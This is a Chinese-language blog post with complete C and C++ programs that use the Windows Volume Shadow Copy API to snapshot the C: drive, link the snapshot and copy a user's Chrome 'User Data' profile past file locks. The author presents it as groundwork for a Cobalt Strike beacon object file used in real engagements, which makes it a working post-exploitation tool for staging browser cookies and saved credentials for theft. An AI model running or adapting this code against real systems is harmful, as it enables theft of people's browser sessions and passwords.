卷影副本win32 api com c++及c实现

前言:实战中需要用到CS上加载调试浏览器的bof版本,这边需要先实现卷影副本win32 api

c实现


#include <stdio.h>
#include <stdlib.h>
#include <vss.h>

#pragma comment(lib, "vssapi.lib")
#pragma comment(lib, "ole32.lib")

typedef struct IVssBackupComponents IVssBackupComponents;
HRESULT(WINAPI* func_CreateVssBackupComponents)(IVssBackupComponents** ppBackup);
void (WINAPI *func_VssFreeSnapshotProperties)(VSS_SNAPSHOT_PROP *pProp);

typedef struct IVssBackupComponentsVTable IVssBackupComponentsVTable;

typedef struct IVssBackupComponentsVTable {
    void* QueryInterface;
    void* AddRef;
    ULONG(WINAPI* Release)(IVssBackupComponents* this);
    void* GetWriterComponentsCount;
    void* GetWriterComponents;
    HRESULT(WINAPI* InitializeForBackup)(IVssBackupComponents* this, BSTR bstrXML);
    HRESULT(WINAPI* SetBackupState)(IVssBackupComponents* this, BOOLEAN bSelectComponents, BOOLEAN bBackupBootableSystemState, VSS_BACKUP_TYPE backupType, BOOLEAN bPartialFileSupport);
    void* InitializeForRestore;
    void* SetRestoreState;
    HRESULT(WINAPI* GatherWriterMetadata)(IVssBackupComponents* this, IVssAsync** ppAsync);
    void* GetWriterMetadataCount;
    void* GetWriterMetadata;
    void* FreeWriterMetadata;
    void* AddComponent;
    HRESULT(WINAPI* PrepareForBackup)(IVssBackupComponents* this, IVssAsync** ppAsync);
    void* AbortBackup;
    void* GatherWriterStatus;
    void* GetWriterStatusCount;
    void* FreeWriterStatus;
    void* GetWriterStatus;
    void* SetBackupSucceeded;
    void* SetBackupOptions;
    void* SetSelectedForRestore;
    void* SetRestoreOptions;
    void* SetAdditionalRestores;
    void* SetPreviousBackupStamp;
    void* SaveAsXML;
    void* BackupComplete;
    void* AddAlternativeLocationMapping;
    void* AddRestoreSubcomponent;
    void* SetFileRestoreStatus;
    void* AddNewTarget;
    void* SetRangesFilePath;
    void* PreRestore;
    void* PostRestore;
    HRESULT(WINAPI* SetContext)(IVssBackupComponents* this, LONG lContext);
    HRESULT(WINAPI* StartSnapshotSet)(IVssBackupComponents* this, VSS_ID* pSnapshotSetId);
    HRESULT(WINAPI* AddToSnapshotSet)(IVssBackupComponents* this, VSS_PWSZ pwszVolumeName, VSS_ID ProviderId, VSS_ID* pidSnapshot);
    HRESULT(WINAPI* DoSnapshotSet)(IVssBackupComponents* this, IVssAsync** ppAsync);
    void* DeleteSnapshots;
    void* ImportSnapshots;
    /*void *RemountReadWrite;*/	/* Old API only  */
    void* BreakSnapshotSet;
    HRESULT(WINAPI* GetSnapshotProperties)(IVssBackupComponents* this, VSS_ID SnapshotId, VSS_SNAPSHOT_PROP* pprop);
    void* Query;
    void* IsVolumeSupported;
    void* DisableWriterClasses;
    void* EnableWriterClasses;
    void* DisableWriterInstances;
    void* ExposeSnapshot;
    void* RevertToSnapshot;
    void* QueryRevertStatus;
} IVssBackupComponentsVtbl;

struct IVssBackupComponents {
    CONST_VTBL IVssBackupComponentsVTable* lpVtbl;
};

/* Call a method, assuming its signature is identical in the old and new APIs */
#define CALL_METHOD(obj, method, result, ...)                     \
    do {                                                          \
        *(result) = (obj)->lpVtbl->method((obj), ##__VA_ARGS__);     \
    } while (0)


HRESULT wait_and_release(IVssAsync* async)
{
	HRESULT res;
    res = async->lpVtbl->Wait(async, INFINITE);
	async->lpVtbl->Release(async);
	return res;
}

BOOL request_vss_snapshot(IVssBackupComponents* vss, IVssAsync* async, wchar_t* volume, VSS_ID* snapshot_id)
{
	HRESULT hr;

	CALL_METHOD(vss, InitializeForBackup, &hr, NULL);
	if (FAILED(hr)) {
		printf("[-] IVssBackupComponents.InitializeForBackup() error: %x\n", hr);
		return FALSE;
	}
	
	printf("[+] IVssBackupComponents.InitializeForBackup() success\n");

	CALL_METHOD(vss, SetBackupState, &hr, FALSE, TRUE, VSS_BT_COPY, FALSE);
	if (FAILED(hr)) {
		printf("[-] IVssBackupComponents.SetBackupState() error: %x\n", hr);
		return FALSE;
	}
	printf("[+] IVssBackupComponents.SetBackupState() success\n");


	CALL_METHOD(vss, StartSnapshotSet, &hr, snapshot_id);
	if (FAILED(hr)) {
		printf("[-] IVssBackupComponents.StartSnapshotSet() error: %x\n", hr);
		return FALSE;
	}
	printf("[+] IVssBackupComponents.StartSnapshotSet() success\n");


	CALL_METHOD(vss, AddToSnapshotSet, &hr, volume, (GUID) { 0 }, snapshot_id);
	if (FAILED(hr)) {
		printf("[-] IVssBackupComponents.AddToSnapshotSet() error: %x\n", hr);
		return FALSE;
	}
	printf("[+] IVssBackupComponents.AddToSnapshotSet() success\n");

	CALL_METHOD(vss, PrepareForBackup, &hr, &async);
	if (FAILED(hr)) {
		printf("[-] IVssBackupComponents.PrepareForBackup() error: %x\n", hr);
		return FALSE;
	}
	printf("[+] IVssBackupComponents.PrepareForBackup() success\n");

	hr = wait_and_release(async);
	if (FAILED(hr)) {
		printf("[-] IVssAsync.Wait() error while preparing for backup: %x\n", hr);
		return FALSE;
	}
	printf("[+] IVssAsync.Wait() success\n");

	CALL_METHOD(vss, DoSnapshotSet, &hr, &async);
	if (FAILED(hr)) {
		printf("[-] IVssBackupComponents.DoSnapshotSet() error: %x\n", hr);
		return FALSE;
	}
	printf("[+] IVssBackupComponents.DoSnapshotSet() success\n");

	hr = wait_and_release(async);
	if (FAILED(hr)) {
		printf("[-] IVssAsync.Wait() error while doing snapshot set: %x\n", hr);
		return FALSE;
	}

	printf("[+] IVssAsync.Wait() success\n");

    return TRUE;
}

// 创建符号链接目录
BOOL CreateSymbolicLinkDir(const wchar_t* symlinkPath, const wchar_t* targetPath)
{
    if (CreateSymbolicLinkW(symlinkPath, targetPath, SYMBOLIC_LINK_FLAG_DIRECTORY))
    {
        wprintf(L"[+] Symbolic link created successfully: %s -> %s\n", symlinkPath, targetPath);
        return TRUE;
    }
    else
    {
        DWORD error = GetLastError();
        wprintf(L"[-] Failed to create symbolic link, error code: %lu\n", error);
        return FALSE;
    }
}

// 递归复制目录(类似于 xcopy /s /e /i /h)
BOOL CopyDirectory(const wchar_t* sourcePath, const wchar_t* destPath)
{
    wchar_t srcPattern[MAX_PATH];
    WIN32_FIND_DATAW findData;
    HANDLE hFind;
    BOOL result = TRUE;

    // 构造搜索模式
    swprintf(srcPattern, MAX_PATH, L"%s\\*", sourcePath);

    hFind = FindFirstFileW(srcPattern, &findData);
    if (hFind == INVALID_HANDLE_VALUE)
    {
        wprintf(L"[-] Failed to find files: %s\n", sourcePath);
        return FALSE;
    }

    // 创建目标目录
    CreateDirectoryW(destPath, NULL);

    do
    {
        const wchar_t* name = findData.cFileName;

        if (wcscmp(name, L".") == 0 || wcscmp(name, L"..") == 0)
            continue;

        wchar_t srcFile[MAX_PATH];
        wchar_t dstFile[MAX_PATH];
        swprintf(srcFile, MAX_PATH, L"%s\\%s", sourcePath, name);
        swprintf(dstFile, MAX_PATH, L"%s\\%s", destPath, name);

        if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
        {
            // 递归复制子目录
            if (!CopyDirectory(srcFile, dstFile))
                result = FALSE;
        }
        else
        {
            // 复制文件
            if (!CopyFileW(srcFile, dstFile, FALSE))
            {
                wprintf(L"[-] Failed to copy file: %s\n", srcFile);
                result = FALSE;
            }
            else
            {
                wprintf(L"[+] Copied: %s\n", srcFile);
            }
        }

    } while (FindNextFileW(hFind, &findData));

    FindClose(hFind);
    return result;
}

// 删除符号链接目录
BOOL DeleteSymbolicLinkDir(const wchar_t* symlinkPath)
{
    if (RemoveDirectoryW(symlinkPath))
    {
        wprintf(L"[+] Symbolic link deleted: %s\n", symlinkPath);
        return TRUE;
    }
    else
    {
        DWORD error = GetLastError();
        wprintf(L"[-] Failed to delete symbolic link, error code: %lu\n", error);
        return FALSE;
    }
}


int main() {
    HRESULT hr;

    // 构造初始化变量
    IVssBackupComponents* pBackup = NULL;
    IVssAsync* pAsync = NULL;
	VSS_ID snapshot_id;

    // 构造符号链接路径和目标
    WCHAR wszVolumes[2048] = L"C:\\";
    WCHAR symlinkPath[MAX_PATH] = L"C:\\vss_symlink";
    WCHAR copySource[MAX_PATH*2];
    WCHAR copyDest[MAX_PATH*2] = L"C:\\ChromeUserDataBackup";
    
    HANDLE hVssapi = LoadLibraryW(L"VssApi.dll");
    if (!hVssapi) {
        printf("vssapi.dll not found\n");
        return -1;
    }

    func_CreateVssBackupComponents = (void*)GetProcAddress(hVssapi, "CreateVssBackupComponentsInternal");
    hr = (*func_CreateVssBackupComponents)(&pBackup);
    if (FAILED(hr)) {
        printf("[-] CreateVssBackupComponentsInternal error: %x\n", hr);
        FreeLibrary(hVssapi);
        return -1;
    }else {
        printf("[+] CreateVssBackupComponentsInternal success\n");
    }

    func_VssFreeSnapshotProperties = (void *)GetProcAddress(hVssapi, "VssFreeSnapshotPropertiesInternal");
    if (!func_VssFreeSnapshotProperties) {
        FreeLibrary(hVssapi);
        return -1;
    }else {
        printf("[+] VssFreeSnapshotPropertiesInternal success\n");
    }

    CoInitialize(NULL);

    // in main func
	if (!request_vss_snapshot(pBackup, pAsync, wszVolumes, &snapshot_id) ){
		return -1;
	}

    // 获取快照信息
    VSS_SNAPSHOT_PROP snapProp;
    hr = pBackup->lpVtbl->GetSnapshotProperties(pBackup, snapshot_id, &snapProp);
    if (FAILED(hr)) {
        printf("[-] GetSnapshotProperties error: %x\n", hr);
        return -1;
    }
    
    LPCWSTR snapshotDeviceObject = snapProp.m_pwszSnapshotDeviceObject;

    // 构造源目录路径
    swprintf(copySource, MAX_PATH * 2, L"%s\\Users\\join\\AppData\\Local\\Google\\Chrome\\User Data", symlinkPath);

    // 创建符号链接目录(解决文件锁定问题)
    if (!CreateSymbolicLinkDir(symlinkPath, snapshotDeviceObject))
    {
        wprintf(L"[-] Create symbolic link failed, cannot continue.\n");
        return -1;
    }
    else
    {
        wprintf(L"[+] Create symbolic link success.\n");
    }

    // 递归复制目录
    if (!CopyDirectory(copySource, copyDest))
    {
        wprintf(L"[-] Directory copy failed.\n");
    }
    else
    {
        wprintf(L"[+] Directory copy success.\n");
    }
    
    // 删除符号链接目录
    if (!DeleteSymbolicLinkDir(symlinkPath))
    {
        wprintf(L"[-] Delete symbolic link failed, please clean manually: %s\n", symlinkPath);
    }
    else
    {
        wprintf(L"[+] Delete symbolic link success: %s\n", symlinkPath);
    }

    // 释放VSS资源
    func_VssFreeSnapshotProperties(&snapProp);
    if (pAsync) pAsync->lpVtbl->Release(pAsync);
    if (pBackup) pBackup->lpVtbl->Release(pBackup);

    // 清理资源
    CoUninitialize();
    FreeLibrary(hVssapi);
    return 0;
}

image

c++实现

#include <ostream>
#include <stdio.h>
#include <windows.h>
#include <winbase.h>
#include <iostream>
#include <Vss.h>
#include <VsWriter.h>
#include <VsBackup.h>

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")
#pragma comment(lib, "uuid.lib")
#pragma comment(lib, "VssApi.lib")


bool CreateSymbolicLinkDir(const std::wstring& symlinkPath, const std::wstring& targetPath)
{
    if (CreateSymbolicLinkW(symlinkPath.c_str(), targetPath.c_str(), SYMBOLIC_LINK_FLAG_DIRECTORY))
    {
        std::wcout << L"[+] Symbolic link created successfully: " << symlinkPath << L" -> " << targetPath << std::endl;
        return true;
    }
    else
    {
        DWORD error = GetLastError();
        std::wcerr << L"[-] Failed to create symbolic link, error code: " << error << std::endl;
        return false;
    }
}

// Recursively copy directory (similar to xcopy /s /e /i /h)
bool CopyDirectory(const std::wstring& sourcePath, const std::wstring& destPath)
{
    std::wstring srcPattern = sourcePath + L"\\*";

    WIN32_FIND_DATAW findData;
    HANDLE hFind = FindFirstFileW(srcPattern.c_str(), &findData);
    if (hFind == INVALID_HANDLE_VALUE)
    {
        std::wcerr << L"[-] Failed to find files: " << sourcePath << std::endl;
        return false;
    }

    // Create destination directory
    CreateDirectoryW(destPath.c_str(), NULL);

    do
    {
        std::wstring name = findData.cFileName;

        if (name == L"." || name == L"..")
            continue;

        std::wstring srcFile = sourcePath + L"\\" + name;
        std::wstring dstFile = destPath + L"\\" + name;

        if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
        {
            // Recursively copy subdirectory
            CopyDirectory(srcFile, dstFile);
        }
        else
        {
            // Copy file
            if (!CopyFileW(srcFile.c_str(), dstFile.c_str(), FALSE))
            {
                std::wcerr << L"[-] Failed to copy file: " << srcFile << std::endl;
            }
            else
            {
                std::wcout << L"[+] Copied: " << srcFile << std::endl;
            }
        }

    } while (FindNextFileW(hFind, &findData));

    FindClose(hFind);
    return true;
}

// Delete symbolic link directory
bool DeleteSymbolicLinkDir(const std::wstring& symlinkPath)
{
    if (RemoveDirectoryW(symlinkPath.c_str()))
    {
        std::wcout << L"[+] Symbolic link deleted: " << symlinkPath << std::endl;
        return true;
    }
    else
    {
        DWORD error = GetLastError();
        std::wcerr << L"[-] Failed to delete symbolic link, error code: " << error << std::endl;
        return false;
    }
}

int main()
{
    // 定义需要快照的卷
    WCHAR wszVolumes[2048] = L"C:\\";
    std::wstring symlinkPath = L"C:\\Users\\Public\\shadow_snapshot";
    std::wstring copyDest = L"C:\\Users\\Public\\chrome_demo";

    bool bCoInitializeSucceeded = false;

    try
    {
        HRESULT hr = S_OK;

        // Initialize COM security
        hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
        if (FAILED(hr)) {
            std::cerr << "[-] CoInitializeEx failed, hr: 0x" << std::hex << hr << std::endl;
            return -1;
        } else {
            std::cout << "[+] CoInitializeEx success" << std::endl;
        }
        
        hr = CoInitializeSecurity
        (
            NULL,                                //  IN PSECURITY_DESCRIPTOR         pSecDesc,
            -1,                                  //  IN LONG                         cAuthSvc,
            NULL,                                //  IN SOLE_AUTHENTICATION_SERVICE *asAuthSvc,
            NULL,                                //  IN void                        *pReserved1,
            RPC_C_AUTHN_LEVEL_CONNECT,           //  IN DWORD                        dwAuthnLevel,
            RPC_C_IMP_LEVEL_IMPERSONATE,         //  IN DWORD                        dwImpLevel,
            NULL,                                //  IN void                        *pAuthList,
            EOAC_NONE,                           //  IN DWORD                        dwCapabilities,
            NULL                                 //  IN void                        *pReserved3
        );
        if (FAILED(hr)) {
            std::wcerr << L"[-] CoInitializeSecurity failed, hr: 0x" << std::hex << hr << std::endl;
            return -1;
        } else {
            std::wcout << L"[+] CoInitializeSecurity success" << std::endl;
        }

        bCoInitializeSucceeded = true;
        IVssAsync* pAsync = NULL;
        IVssBackupComponents* pvbc = NULL;
        hr = CreateVssBackupComponents(&pvbc);
        if (FAILED(hr) || pvbc == NULL) {
            std::wcerr << L"[-] CreateVssBackupComponents failed, hr: 0x" << std::hex << hr << std::endl;
            return -1;
        } else {
            std::wcout << L"[+] CreateVssBackupComponents success" << std::endl;
        }
        hr = pvbc->InitializeForBackup();
        if (FAILED(hr)) {
            std::wcerr << L"[-] InitializeForBackup failed, hr: 0x" << std::hex << hr << std::endl;
            return -1;
        } else {
            std::wcout << L"[+] InitializeForBackup success" << std::endl;
        }
        hr = pvbc->SetBackupState(true, false, VSS_BT_FULL, true);
        if (FAILED(hr)) {
            std::wcerr << L"[-] SetBackupState failed, hr: 0x" << std::hex << hr << std::endl;
            return -1;
        } else {
            std::wcout << L"[+] SetBackupState success" << std::endl;
        }
        hr = pvbc->GatherWriterMetadata(&pAsync);
        if (FAILED(hr)) {
            std::wcerr << L"[-] GatherWriterMetadata failed, hr: 0x" << std::hex << hr << std::endl;
            return -1;
        } else {
            std::wcout << L"[+] GatherWriterMetadata success" << std::endl;
        }

        VSS_ID idSet, idSnap;
        hr = pvbc->StartSnapshotSet(&idSet);
        if (FAILED(hr)) {
            std::wcerr << L"[-] StartSnapshotSet failed, hr: 0x" << std::hex << hr << std::endl;
            return -1;
        } else {
            std::wcout << L"[+] StartSnapshotSet success" << std::endl;
        }
        hr = pvbc->AddToSnapshotSet(wszVolumes, GUID_NULL, &idSnap);
        if (FAILED(hr)) {
            std::wcerr << L"[-] AddToSnapshotSet failed, hr: 0x" << std::hex << hr << std::endl;
            return -1;
        } else {
            std::wcout << L"[+] AddToSnapshotSet success" << std::endl;
        }
        hr = pvbc->PrepareForBackup(&pAsync);
        if (FAILED(hr)) {
            std::wcerr << L"[-] PrepareForBackup failed, hr: 0x" << std::hex << hr << std::endl;
            return -1;
        } else {
            std::wcout << L"[+] PrepareForBackup success" << std::endl;
        }

        HRESULT hrResult;
        INT nPercentDone = 0;
        hr = pvbc->DoSnapshotSet(&pAsync);
        if (FAILED(hr)) {
            std::wcerr << L"[-] DoSnapshotSet failed, hr: 0x" << std::hex << hr << std::endl;
            return -1;
        } else {
            std::wcout << L"[+] DoSnapshotSet success" << std::endl;
        }
        hr = pAsync->Wait();
        if (FAILED(hr)) {
            std::wcerr << L"[-] pAsync->Wait failed, hr: 0x" << std::hex << hr << std::endl;
            return -1;
        } else {
            std::wcout << L"[+] pAsync->Wait success" << std::endl;
        }
        hr = pAsync->QueryStatus(&hrResult, &nPercentDone);
        if (FAILED(hr) || FAILED(hrResult)) {
            std::wcerr << L"[-] pAsync->QueryStatus failed, hr: 0x" << std::hex << (FAILED(hr) ? hr : hrResult) << std::endl;
            return -1;
        } else {
            std::wcout << L"[+] pAsync->QueryStatus success" << std::endl;
        }

        // Get snapshot device object path
        VSS_SNAPSHOT_PROP snapProp;
        hr = pvbc->GetSnapshotProperties(idSnap, &snapProp);
        if (FAILED(hr)) {
            std::wcerr << L"[-] GetSnapshotProperties failed, hr: 0x" << std::hex << hr << std::endl;
            return -1;
        } else {
            std::wcout << L"[+] GetSnapshotProperties success. " << std::endl;
        }

        std::wstring snapshotDeviceObject = snapProp.m_pwszSnapshotDeviceObject;

        // Create symbolic link directory (to solve file lock issue)
        if (!CreateSymbolicLinkDir(symlinkPath, snapshotDeviceObject))
        {
            std::wcout << L"[-] Create symbolic link failed, cannot continue." << std::endl;
            return -1;
        }
        else
        {
            std::wcout << L"[+] Create symbolic link success." << std::endl;
        }

        // Recursively copy directory
        if (!CopyDirectory(symlinkPath + L"\\Users\\join\\AppData\\Local\\Google\\Chrome\\User Data", copyDest))
        {
            std::wcerr << L"[-] Directory copy failed." << std::endl;
            // Continue to try deleting symbolic link
        }
        else
        {
            std::wcout << L"[+] Directory copy success." << std::endl;
        }
        
        // Delete symbolic link directory
        if (!DeleteSymbolicLinkDir(symlinkPath))
        {
            std::wcerr << L"[-] Delete symbolic link failed, please clean manually: " << symlinkPath << std::endl;
        }
        else
        {
            std::wcout << L"[+] Delete symbolic link success: " << symlinkPath << std::endl;
        }

        // 释放VSS资源
        ::VssFreeSnapshotProperties(&snapProp);
        if (pAsync) pAsync->Release();
        if (pvbc) pvbc->Release();

        return 0;
    }
    catch (HRESULT hrParse)
    {
        std::wcerr << L"[-] 异常,错误码: " << std::hex << hrParse << std::endl;
        return -1;
    }
}
posted @ 2025-07-18 12:50  zpchcbd  阅读(186)  评论(0)    收藏  举报